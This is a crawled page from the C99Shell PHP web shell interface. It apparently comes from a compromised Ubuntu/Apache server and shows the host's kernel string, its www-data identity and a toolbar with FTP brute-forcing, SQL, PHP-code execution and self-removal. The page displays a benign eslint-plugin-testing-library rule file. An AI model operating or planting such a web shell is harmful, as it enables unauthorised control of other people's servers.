!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/node_modules/eslint-plugin-testing-library/rules/   drwxr-xr-x
Free 12.98 GB of 57.97 GB (22.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     await-async-utils.js (3.45 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.RULE_NAME = void 0;
const create_testing_library_rule_1 = require("../create-testing-library-rule");
const node_utils_1 = require("../node-utils");
exports.RULE_NAME = 'await-async-utils';
exports.default = (0, create_testing_library_rule_1.createTestingLibraryRule)({
    name: exports.RULE_NAME,
    meta: {
        type: 'problem',
        docs: {
            description: 'Enforce promises from async utils to be awaited properly',
            recommendedConfig: {
                dom: 'error',
                angular: 'error',
                react: 'error',
                vue: 'error',
                marko: 'error',
            },
        },
        messages: {
            awaitAsyncUtil: 'Promise returned from `{{ name }}` must be handled',
            asyncUtilWrapper: 'Promise returned from {{ name }} wrapper over async util must be handled',
        },
        schema: [],
    },
    defaultOptions: [],
    create(context, _, helpers) {
        const functionWrappersNames = [];
        function detectAsyncUtilWrapper(node) {
            const innerFunction = (0, node_utils_1.getInnermostReturningFunction)(context, node);
            if (innerFunction) {
                functionWrappersNames.push((0, node_utils_1.getFunctionName)(innerFunction));
            }
        }
        return {
            'CallExpression Identifier'(node) {
                if (helpers.isAsyncUtil(node)) {
                    detectAsyncUtilWrapper(node);
                    const closestCallExpression = (0, node_utils_1.findClosestCallExpressionNode)(node, true);
                    if (!closestCallExpression || !closestCallExpression.parent) {
                        return;
                    }
                    const references = (0, node_utils_1.getVariableReferences)(context, closestCallExpression.parent);
                    if (references.length === 0) {
                        if (!(0, node_utils_1.isPromiseHandled)(node)) {
                            context.report({
                                node,
                                messageId: 'awaitAsyncUtil',
                                data: {
                                    name: node.name,
                                },
                            });
                        }
                    }
                    else {
                        for (const reference of references) {
                            const referenceNode = reference.identifier;
                            if (!(0, node_utils_1.isPromiseHandled)(referenceNode)) {
                                context.report({
                                    node,
                                    messageId: 'awaitAsyncUtil',
                                    data: {
                                        name: node.name,
                                    },
                                });
                                return;
                            }
                        }
                    }
                }
                else if (functionWrappersNames.includes(node.name)) {
                    if (!(0, node_utils_1.isPromiseHandled)(node)) {
                        context.report({
                            node,
                            messageId: 'asyncUtilWrapper',
                            data: { name: node.name },
                        });
                    }
                }
            },
        };
    },
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--